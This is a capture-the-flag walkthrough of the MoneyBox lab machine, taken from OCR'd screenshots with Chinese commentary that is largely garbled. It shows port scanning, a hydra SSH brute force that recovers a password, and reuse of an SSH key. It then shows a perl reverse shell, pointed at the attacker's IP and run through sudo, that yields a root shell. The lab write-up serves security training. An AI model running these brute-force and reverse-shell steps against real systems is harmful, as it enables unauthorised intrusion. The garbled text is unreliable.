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e Name: MoneyBox: 1
e Date release: 27 Feb 2021
e Author: Kirthik_T
e Series: MoneyBox
Description
Back to the Top
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Goal : 3 flags
This works better with VirtualBox rather than VMware
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kali@kali: ~

File Actions Edit View Help

) a
<LOOPBACK,UP, LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default gqlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet /8 scope host 1o
valid_1ft forever preferred_1ft forever
ineté /128 scope host
valid_1ft forever preferred_1ft forever
23 <BROADCAST ,MULTICAST,UP, LOWER_UP> mtu 1500 gdisc fg_codel state UP group default gle
n 1000
link/ether 08:00:27:c7:e1:36 brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic eth@
valid_lft 33@sec preferred_lft 33@sec
inet6 /64 scope link noprefixroute
valid_1ft forever preferred_1ft forever

)= | ~

Interface: eth®, type: EN1OMB, MAC: 08:00:27:c7:e1:36, IPv4: 192.168.56.102
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied

WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.100 08:00:27:ef:45:ce (Unknown)

192.168.56.103 08:00:27:5d:ee:ald (Unknown)

2 packets received by filter, @ packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.909 seconds (134.10 hosts/sec). 2 responded

2 BB w34

nmap -p- 192.168.56.
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kali@ kali: ~
File Actions Edit View Help
: - 192.168.56.103
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 02:17 EDT
Nmap scan report for 192.168.56.103
Host is up (0.0069s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT  STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 41.99 seconds

— | ~
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kali@kali: ~
File Actions Edit View Help

p21,22,80 -sV -sC 192.168.56.103
Startlng Nmap 7.93 ( https://nmap.org ) at 2023-05-31 02:20 EDT
Nmap scan report for 192.168.56.103
Host is up (0.0023s latency).

PORT  STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| _-rw-r—r-- 10 0 1093656 Feb 26 2021 trytofind.jpg
| ftp-syst:

| STAT:

| FTP server status:

| Connected to ::ffff:192.168.56.102

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 300

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 4

| vsFTPd 3.0.3 - secure, fast, stable

| End of status

22/tcp open ssh OpenSSH 7.9pl1 Debian 10+debl10u2 (protocol 2.0)
| ssh-hostkey:

| 2048 1e30ce7281e@a23d5c28888b12acfaac (RSA)

| 256 019dfafbf20637c012fc@18b248f53ae (ECDSA)

| 256 2f34b3d074b47f8d17d237b12e32f7eb (ED25519)

80/tcp open http Apache httpd 2.4.38 ((Debian))

| _http-server-header: Apache/2.4.38 (Debian)

| _http-title: MoneyBox

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 1 IP address (1 host up) scanned in 21.37 seconds
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kali@ kali: ~
File Actions Edit View Help
— )-[~]
= 192.168.56.103
Connected to 192.168.56.103.
220 (vsFTPd 3.0.3)
Name (192.168.56.103:kali): |anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>| s
229 Entering Extended Passive Mode (||[|34250])
150 Here comes the directory listing.
-rw-r--r-- 10 0] 1093656 Feb 26 2021 trytofind.]jpg
226 Directory send OK.
ftp> get trytofind.jpg
local: trytofind.jpg remote: trytofind.jpg
229 Entering Extended Passive Mode (||]50375])
150 Opening BINARY mode data connection for trytofind.jpg (1093656 bytes).
100% I‘#*‘k*‘k*‘k‘#************************| 1068 KiB 2.30 MiB/s 0D:00 ETA
226 Transfer complete.
1093656 bytes received in 00:00 (2.29 MiB/s)

ftp> ||

BLFTPIRSEEAIANITERRAFEFTPIRS S LITRER, BI=NeEREBHFTPERR,;

ftp> pwd

Remote directory: /

ftp> cd /home

550 Failed to change directory.

ftp> cd /etc

550 Failed to change directory.

fip> cd /

250 Directory successfully changed.

ftp> pwd

Remote directory: /

ftp> 1s

229 Entering Extended Passive Mode (|]]57263])
150 Here comes the directory listing.
-rw-r--r-- 10 0 1093656 Feb 26 2021 trytofind.jpg
226 Directory send OK.

ftp> quit

421 Timeout.

— )-[~]

232, RIMABERHFTPERR, FREFEAquitinSIBHFTPIRSS.
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kali@kali: ~
File Actions Edit View Help

)=[~]
trytofind. jpg
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kali@kali: ~

File Actions Edit View Help
= )-[~]
1nfo trytofind. jpg
"trytofind.jpg":
format: jpeg
capacity: 64.2 KB

Try to get information about embedded data ? (vy/n) v
Enter passphrase:
steghide: could not extract any data with that passphrase!

— )-[~]
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kali@ kali: ~
File Actions Edit View Help
: p 194 168.56.103
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-31 02:17 EDT
Nmap scan report for 192.168.56.103
Host is up (0.0069s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT  STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 41.99 seconds
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MoneyBox

& C @ O & 192.168.56.103

KaliLinux #8 KaliTools « KaliDocs M Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Hai Everyone......!
Welcome To MoneyBox CTF

it's a very simple Box.so don't overthink

FEEREERAIMI, TEE—TiE: XE—MERNEF, FHFEERMNISES.
TREEM IR
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MoneyBox > http:/192.168.56.103/

(3 view-source:http://192.168.56.103/

KaliLinux & KaliTools = KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec
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dirb http://192.168.56.103



kali@kali: ~

File Actions Edit View Help

— | A~

http://192.168.56.103/

DIRB v2.22
By The Dark Raver

START _TIME: Wed May 31 02:54:21 2023
URL_BASE: http://192.168.56.103/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

—— Scanning URL: http://192.168.56.103/ —

— DIRECTORY: http://192.168.56.103/blogs/

+ http://192.168.56.103/index.html (CODE:200|SIZE:621)

+ http://192.168.56.103/server-status (CODE:403|SIZE:279)

—— Entering directory: http://192.168.56.103/blogs/ —

+ http://192.168.56.103/blogs/index.html (CODE:200|SIZE:353)

END_TIME: Wed May 31 02:54:47 2023
DOWNLOADED: 9224 - FOUND: 3

— )-[~]

BRFHNE, K3 EMER, EPE— 1 BREblogs, =idiaE—T
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MoneyBox X | http:/192.168.56.103/

&« G @ O & 192.168.56.103

KaliLinux § KaliTools = KaliDocs % Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

I'm TOm-H4ck3r

I Already Hacked This Box and Informed.But They didn't Do any Security configuration
If You Want Hint For Next Step......?
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MoneyBox * | http:/f192.168.56.103/blogs/ *  http:/[192.168.56.103/

C @ A4 view-source:http://192.168.56.103/blogs/

Kali Linux §8 Kali Tools <« KaliDocs M Kali Forums ¥ Kali NetHunter Exploit-DB Google Hacking DB

>

=< >MoneyBox</ =< f

>

<h1>I'm T@m-Hick3r</h1><hr>
<p>I Already Hacked This Box and Informed.But They didn’'t Do any Security configuration</p=
<p>If You Want Hint For Next Step
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MoneyBox * ttp://192.168.56.103/blogs/ *  http

&~ ] 9 192.168.56.103

KaliLinux #& Kali Tools = KaliDocs #{ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

There is Nothing In this Page.........

NE—RTSME, SEEERND
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MoneyBox X http://192.168.56.103/S3¢r3t X http://192.168. Jblo http://192.168.

) view-source: http://192.168.56.103/S3cr3t-T3xt/

KaliLinux # KaliTools = KaliDocs ¥ KaliForums e\ Kali NetHunter Exp DB Google Hacking DB OffSec

>MoneyBox</

>There is Nothing In this
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MoneyBox X hittp:[f192.168.56.103/S3cr3t X http://192.168.56.103/blogs/ *  http:/[192.168.56.103/

C o A view-source:http://192.168.56.103/S3cr3t-T3xt/

KaliLinux #8 KaliTools = KaliDocs ¥ KaliForums e Kali NetHunter Exploit-DB Google Hacking DB OffSec
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kali@ kali: ~

File Actions Edit View Help

info trytofind.jpg
"trytofind.jpg":
format: jpeg
capacity: 64.2 KB
Try to get information about embedded data ? (vy/n) vy
Enter passphrase:
steghide: could not extract any data with that passphrase!

| = | ~

TEARAENENHEZEERRER
= kali@lali: ~
File Actions Edit View Help
info frytofind.jpg

"trytoftind. jpg":

format: jpeg

capacity: 64.2 KB
Try to get information about embedded data ? (y/n) vy

Enter passphrase:
embedded file "data.txt":
size: 136.0 Byte
encrypted: no
compressed: no

)-[~]

TEiZiEd, BEERER 7 Ndata.txt, FHEHEEFHsteghidess B Hdata.txt> 4

steghide extract -sf trytofind.jpg



lali@eali: ~
File Actions Edit View Help
( )= [~]
extract -sf trytofind.jpg
Enter passphrase:
wrote extracted data to "data.txt".

data.txt

| = | ~

data.txt_
renu

I tell you something Important.Your Password is too Week So Change Your
Password
Don't Underestimate it

I Edatatxt, BEEXMHAS, BHRFFAEEFErenuFIF, BHEERDH55E,
BREAER T EFrenuFIFP B ROZRSIR,

~

i Eeg? BRARSSERS, BR—ARAVEISFENAZEAILL, Eikali linuxBTErockyou.txt.gz



kali@ kali: ~
File Actions Edit View Help

— )-[~]

— /usr/share/wordlists/rockyou.txt.gz

)-[~]
-d  /usr/share/wordlists/rockyou.txt.gz
gzip: /usr/share/wordlists/rockyou.txt: Permission denied

) =[~]

sudo -d  /usr/share/wordlists/rockyou.txt.gz
[sudo] password for kali:

( )= [~]

/usr/share/wordlists/rockyou.txt .
) -[~]

data.txt
rockyou.txt

Frockyou.txt. gz FEfRE, AEENEIZRIER

Wig: BTAFPSERFHE, WERmRTE?

i 4k

B APRERRKAIRHRRIENRAE— MRS, B ERFEESMIIE, XEH(]
EEB T BMF B A BRI IR 8EE.

3) BARENEAE22i%0
S mE PO

keali@@ kali: ~
File Actions Edit View Help

|_~

p- 192. 168 56.103
Startlng Nmap 7.93 ( https://nmap.org ) at 2023-05-31 02:17 EDT
Nmap scan report for 192.168.56.103
Host is up (0.0069s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT  STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 41.99 seconds




TEFEA)ERhydra T EFFHAISR

hydra -1 P4 -P %50 SEHLIP B -wv

kali@kali: ~
File Actions Edit View Help

[ATTEMPT] target 192.168.56.103 - login "renu" - pass "brandon" - 71 of 14344
401 [child 10] (0/2)

[ATTEMPT] target 192.168.56.103 login "renu" pass "666666" - 72 of 143444
01 [child 13] (0/2)

[ATTEMPT] target 192.168.56.103 - login "renu" - pass "shadow" - 73 of 143444
01 [child 1] (0/2)

[ATTEMPT] target 192.168.56.183 - login "renu" - pass "melissa" - 74 of 14344
401 [child 3] (0/2)

[ATTEMPT] target 192.168.56.183 - login "renu" - pass "eminem" - 75 of 143444
01 [child 6] (0/2)

[ATTEMPT] target 192.168.56.103 - login "renu" - pass "matthew" - 76 of 14344
401 [child 2] (0/2)

[ATTEMPT] target 192.168.56.103 login "renu" pass "robert" - 77 of 143444
01 [child 5] (0/2)

[ATTEMPT] target 192.168.56.103 - login "renu" - pass "danielle" - 78 of 1434
4401 [child 0] (0/2)

[ATTEMPT] target 192.168.56.103 - login "renu" - pass "forever" - 79 of 14344
401 [child 4] (0/2)

[ATTEMPT] target 192.168.56.103 - login "renu" - pass "family" - 80 of 143444
01 [child 7] (0/2)

[ATTEMPT] target 192.168.56.183 - login "renu" - pass "jonathan" - 81 of 1434
4401 [child 15] (0/2)

[ATTEMPT] target 192.168.56.103 login "renu" pass "987654321" - 82 of 143
44401 [child 8] (0/2)

[ATTEMPT] target 192.168.56.103 - login "renu" - pass "computer" - 83 of 1434
4401 [child 11] (@/2)

[ATTEMPT] target 192.168.56.103 - login "renu" - pass "whatever" - 84 of 1434
4401 [child 91 (0/2)

[22][ssh] host: 192.168.56.103 login: renu password: 987654321

[STATUS] attack finished for 192.168.56.103 (waiting for children to complete
tests)

“C[ERROR] Received signal 2, going down

( )-[~]
-1 renu -P rockyou.txt 192.168.56.103 ssh -vVJ]

BRI, BEIrenuFRIZES/9987654321,

BT RBBIE SSHARSS FBrenu AR R LD ER .



renu@MoneyBox: ~
File Actions Edit View Help
—( )-[~]
= renugl92.168.56.103
The authenticity of host '192.168.56.103 (192.168.56.103)' can't be establish
ed.
ED25519 key fingerprint is SHA256:4skFgbTuZiVgZGtWwAhSWRXgKXTdP7USBhYUsIg9onWw

This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.56.103' (ED25519) to the list of known ho

sts.

renug192.168.56.103"'s password:

Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 26 ©8:53:43 2021 from 192.168.43.44
renugMoneyBox:~$ id
uid=1001(renu) gid=1001(renu) groups=1001(renu)
FehlUgMoneyBoxX:~$ 15
userl.txt
renugMoneyBox:~$/ cat userl.txt
Yes ... |
You Got it Userl Flag

= us3rl1{Fl4g:0ku74tbd3777y4}

renugMoneyBox:~$ I

renuFAFREBER, Eit, HNESERE TEIRTER, Z2THEHAYShelliZ=HIR,

BIEHRRIX SEEHE3/NFLAG, BBAIRE2/NFLAG,

5. i



renu@MoneyBox: ~
File Actions Edit View Help

renugMoneyBox:~$ |1s /root

1s: cannot open directory '/root': Permission denied
renugMoneyBox:~$ [sudo -1

[sudo] password for renu:

Sorry, user renu may not run sudo on MoneyBox.
renugMoneyBox:~$ find / -perm -4000 2> /dev/null
/usr/bin/passwd

Jusr/bin/mount

/usr/bin/newgrp

/Jusr/bin/chfn

/usr/bin/chsh

Jusr/bin/umount

/usr/bin/su

Jusr/bin/gpasswd

/usr/bin/sudo
/usr/1lib/dbus-1.0/dbus-daemon-launch-helper
Jusr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

renugMoneyBox:~$ [

=iiparootRBR, RAMIRARE.

Wie:

linuxRGE—RRB BRI TUIE?

REE: LinuxRGRNATBEBE LAT A0 sudofBRIBIN, suidiEt



renu@MoneyBox: ~
File Actions Edit View Help

renugMoneyBox:~$ [ls /root

1s: cannot open directory '/root': Permission denied
renugMoneyBox:~$ [sudo -1

[sudo] password for renu:

Sorry, user renu may not run sudo on MoneyBox.
renugMoneyBox:~$ find / -perm -4000 2> /dev/null
/usr/bin/passwd

Jusr/bin/mount

/usr/bin/newgrp

/Jusr/bin/chfn

/usr/bin/chsh

Jusr/bin/umount

/usr/bin/su

Jusr/bin/gpasswd

/usr/bin/sudo
/usr/1lib/dbus-1.0/dbus-daemon-launch-helper
Jusr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

renugMoneyBox:~$ [

R BECHIX MR T VBRI T ANIE.
S —H/RFMNLI, K renuABFRIBSHLICREFESSHREER, XIUFERIRAIATEE,



renu@MeneyBox: ~
File Actions Edit View Help

renuaMoneyBox:~$ |[history
cler
1s
1ls -la
cd /home
1s
clear
cd
1s
1s -1la
exit
clear
1s
1s -la
cd /home
1ls
cd lily
1ls
1ls -la
clear
cd
clear
ssh-keygen -t rsa
clear
cd .ssh
1s
ssh-copy-id 1ily@192.168.43.80
clear
cd
cd -
1s -1
chmod 400 id_rsa
1s -1
ssh -i id_rsa 1lily@192.168.43.80
clear

BHlEiRrenuFFPEE CRINTAE N E TEEN AR Z LRYIIyAFZRBRMauthorized_keysSZf4, M
A AR RZBH LAy S HE RN L.




renu@MoneyBox: ~
File Actions Edit View Help
renu@MoneyBox:~$|1ls /home

renugMoneyBox:~$ 1s -a /home/lily/

.bash_history .bashrc .profile wuser2.txt

.bash_logout
renu@MoneyBox:~$ [ls -a /home/lily/.ssh/

authorized keys

renugMoneyBox:~$|cat /home/1lily/.ssh/authorized keys
ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQDRIEStEEbTLOA+7n+0d9tCjASYAWYOXBqgcqzyqgb
2qsNsJInBm8cBMCBNSktugtos9HY9hzSInk0zDn3RitZIXuemXCasOsM6gBctu5GDUL882dFgz9620
9TvdF7JIm82eIiVrsS8YCVQQ43migWs6HXJu+BNrVbcf+xq36biziQaVBy+vGbiCPpN@ITrtG449N
dNZclO0FDmlm2Y6n1H42zM5hCCOHQJiBymc/I137G09VtUsaCpjiKaxZanglyb2+WLSxmIfr+EhGnWO
pQv91lhexXd7IdLK6hhUOf f5yNxLvIVzG2VEbugt IXukMSLWk2FhnEdDLqCCHXY+1V+XEBOF3 | renu
adebian
renugMoneyBox:~$ [

KIERLrenu AP BIAEEEE N EIIYE PR B RRsshm BRI Fauthorized _keysH,

BT RSB T

lily@MaoneyBox: ~
File Actions Edit View Help

renugMoneyBox:~$ ssh 1ily@127.0.0.1

The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.

ECDSA key fingerprint is SHA256:8GzSoXjLv35yJ7cQf1EEOrFBbOkLK/K1hAjzK/IXk8I.
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Fri Feb 26 09:07:47 2021 from 192.168.43.80

lilyaMoneyBox:~$ [id

uid=1000(1ily) gid=1000(1ily) groups=1000(1lily),24(cdrom),25(floppy),29(audio
),30(dip),44(video),46(plugdev),109(netdev)

lilyaMoneyBox:~$ 1s

user2.txt

lilyaMoneyBox:~$ [cat user2.txt

You Got a User2 Flag
= us3r{F14g:tr5827r5wubnklao}

lilyaMoneyBox:~$ |

renu AP EINLAlIly SR REE RN, EZIFlag2,




BERE—FLAG, ABNiZEErootzxBRT.
El/rootzRBR, FARTIRARE, EFERNE root517.

lily@MoneyBox: ~

File Actions Edit View Help

lilyaMoneyBox:~$ | 1s /root

1s: cannot open directory '/root': Permission denied

lily@MoneyBox:~$ [sudo -1

Matching Defaults entries for lily on MoneyBox:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:

/bin

User 1ilv mav run the following commands on MoneyBox:
(ALL : ALL) NOPASSWD: /usr/bin/perl
lilyaMoneyBox:~$ |

HfTsudo -IEIMZ P FEsudoliitN, 2/ /9/usr/bin/perl, perl@EpythonZSll, tHE— IR
BNES, HENEBHALNZ B periz TIAE,

TEEINE Perlf2 FFEINAISCINIFE.

B kaliiBteperlfllAfi#ishell, SEIBIMESFENREEN L, HMAFEESENGIT—
imEFRIAS1234), PARTEEEH LiziTper IR, EHSBRE— M shelZZEN, MmBTiz
1TperfZFIRE— 1" EE RAIShell,

SCHIACER:

1) EfikalidPRIperl A3 #Eshell, EEHE N EkalifY/var/www/html T, EasEIp.php;



’Q - -nbilzl" g I B T | h Te .

kali@kali: fvarpwwwihtml

File Actions Edit View Help

| — | m~

— /usr/share/webshells/perl

)-[ /usr/share/webshells/perl]

perlcmd.cgi perl-reverse-shell.pl

)-[ /usr/share/webshells/perl ]
perl-reverse-shell.pl /var/www/html/p.php

cp: cannot create regular file '/var/www/html/p.php': Permission denied

)-[ /usr/share/webshells/perl ]
—$ sudo perl-reverse-shell.pl /var/www/html/p.php
[sudo] password for kali:

)-[ /usr/share/webshells/perl]
/var/www/html/

£ )~ [ /var/www/html |
index.html index.nginx-debian.html p.php

- - [ /var/wwa/html ]

2) 1E28p.phpSHRE, RIGHEIERZAY pHEltSokaligyIP;



ERPROF-|1 2 3 4|0 g .
kali@kali: fvarfwww/html
Actions Edit View Help

for any actions performed using this tool. If these terms are not acceptable to
you, then do not use this tool.

You are encouraged to send comments, improvements or suggestions to
me at pentestmonkeygpentestmonkey.net

Description

This script will make an outbound TCP connection to a hardcoded IP and port.
The recipient will be given a shell running as the current user (apache normally).

H SRS S

38 use strict;
39 use 3

40 use FileHandle;

41 use POSIX;

42 my $VERSION = "1.0";

42 # Where to send the reverse shell. Change these.
45 my $ip = '192.168.56.100" ;
46 my $port = 1234;

48 # Options

9 my $daemon = 1;

50 my $auth = @; # 0 means authentication is disabled and any
# source IP can access the reverse shell

:ﬂ my $authorised_client_pattern = qr("127\.0\.0\.1%);

;- # Declarations
55 my $global_page = "";
56 my $fake_process_name = "/usr/sbin/apache";

}E # Change the process name to be less conspicious
59 $0 = "[httpd]";
61 # Authenticate based on source IP address if required
52 if (defined($ENV{'REMOTE_ADDR'})) {
cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");

45,24

3) FFREkalifIREARSS;




I X EEEEE

kali@kali: fvarfwwwi/html
File Actions Edit View Help

— )-[ /var/ww/html ]

= p.php

)-[ /var/ww/html ]
start apache2

)-[ /var/wwm/html ]

4) YHEEEBHLIIly=E, BidhttptMY TEip.php
-] lily@MoneyBox: ~

File Actions Edit View Help

lilyaMoneyBox:~$ wget http://192.168.56.102/p.php
--2023-05-31 01:16:09-- http://192.168.56.102/p.php
Connecting to 192.168.56.102:80 ... connected.

HTTP request sent, awaiting response ... 200 OK
Length: 3712 (3.6K) [text/html]

Saving to: ‘p.php’

p.php 100%[ >]  3.62K --.-KB/s in @s

2023-05-31 01:16:09 (73.1 MB/s) - ‘p.php’ saved [3712/3712]

lilyaMoneyBox:~$ 1s
p.php| user2.txt
lilyaMoneyBox:~$ |}

Incip$ 5123470

kali@kali: fvarfwww/html

File Actions Edit View Help
— )-[ /var/wwm /html]
= p.php

)~ [ /var/wwu/html ]
start apache2

)~ [ /var/wam/html ]

- Lnvp 1234
listening on [any] 1234 ...

6) %A1 _Ei@iTsudo iEfTp.phpiEs




0

lily@MoneyBox: ~
File Actions Edit View Help

lily@MoneyBox:~$ sudo -1
Matching Defaults entries for 1lily on MoneyBox:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:
/bin

User 1ily may run the following commands on MoneyBox:
(ALL : ALL) NOPASSWD: /usr/bin/perl

lily@MoneyBox:~$ sudo /usr/bin/perl p.php

Content-Length: ©

Connection: close

Content-Type: text/html

lilyaMoneyBox:~$ Content-Length: 45
Connection: close
Content-Type: text/html

Sent reverse shell to 192.168.56.102:1234<p>

7) tIEEE kali, FIIHREIERINRshell

BERPOF-|1 23 4|0 Fy - . (IR W RN 3

Kali@kali: fvarfwww/html
File Actions Edit View Help File Actions Edit View Help

L ~lnvp 1234 lilyaMoneyBox:~$ sudo -1

listening on [any] 1234 ... Matching Defaults entries for lily on MoneyBox:
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 44924

env_reset, mail_badpass
01:23:17 up 2:22, 5 users, load average: 0.00, 0.00, 0.00 - ! - . ) . . )
USER ns FROM ! Logmag IDLE . JCPU. PCPU WHAT secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:
root ttyl - 23:07  2:15m  0.05s 0.01s -bash /bin
renu pts/0  192.168.56.101 ©00:29  1:57 0.07s 0.05s ssh 1ily@l27.0.0.1

lily pts/1  127.0.0.1 00:57  1:57 0.03s 0.01s sshd: lily [priv] User lily may run the following commands on MoneyBox:
renu pts/2  192.168.56.102 01:22  4.00s 0.01s 0.0ls ssh 1ily@127.0.0.1

lily pts/3  127.0.0.1 01:22  4.00s 0.01s 0.01s -bash  C(ALL : ALL) NOPASSWD: /usr/bin/perl
Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux LilyaMoneyBox:~$ sudo /usr/bin/perl p.php
uid=0(root) gid=0(root) groups=@(root) Content-Length: @

/ Connection: close

/usr/sbin/apache: @: can't access tty; job control turned off Content-Type: text/html

# id

uid=0(root) gid=0(root) groups=0(root) q

7 cd /root g S0P lilyaMoneyBox:~$ Content-Length: 45

# 1s Connection: close

#1ls -a Content-Type: text/html

‘bash_history Sent reverse shell to 192.168.56.102:1234<p>

.bashrc

-local

.profile

.Toot. txt

# cat .root.txt

Congratulations

You Successfully completed MoneyBox

Finally The Root Flag
= r00t{H4ckth3pl4n3t}

I'm Kirthik-KarvendhanT
It's My First CTF Box

instagram : kirthik
See You Back....

o |

8) RN, ERRLZFlag!




0

File Actions Edit View Help

— -lnvp 1234

listening on [any] 1234

connect to [192.168.56.102] from (UNKNOWN) [192.168.56.103] 44924

01:23:17 up 2:22, 5 users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGING IDLE JCPU PCPU WHAT

root ttyl - 23:07 2:15m 0.05s 0.01s -bash

renu pts/0 192.168.56.101 00:29 1:57 0.07s 0.05s ssh lilya@127.0.0.1
lily pts/1 127.0.0.1 00:57 1:57 0.03s 0.01s sshd: lily [priv]
renu pts/2 192.168.56.102 01:22 4.00s 0.01s 0.01s ssh lily@127.0.0.1
lily pts/3 i I 01:22 4.00s ©0.01s 0.01s -bash

Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)

/

/usr/sbin/apache: 0: can't access tty; job control turned off

# id

uid=0(root) gid=0(root) groups=0(root)

# cd /root

# 1s

# 1s -a

.bash_history
.bashrc

.local

.profile
.root.txt

# cat .root.txt

Congratulations
You Successfully completed MoneyBox

Finally The Root Flag
= r00t{H4ckth3pl4n3t}

I'm Kirthik-KarvendhanT
It's My First CTF Box

instagram : kirthik
See You Back....

L |

Zlt, moneybox#lizisiE TEH!

ZEETEEHAS, BEHPRRRAARD, EENNER oM, AELRERE—T
BYBELRE, FiFinE—T2EIdEFRRIRRATAIR, BR!




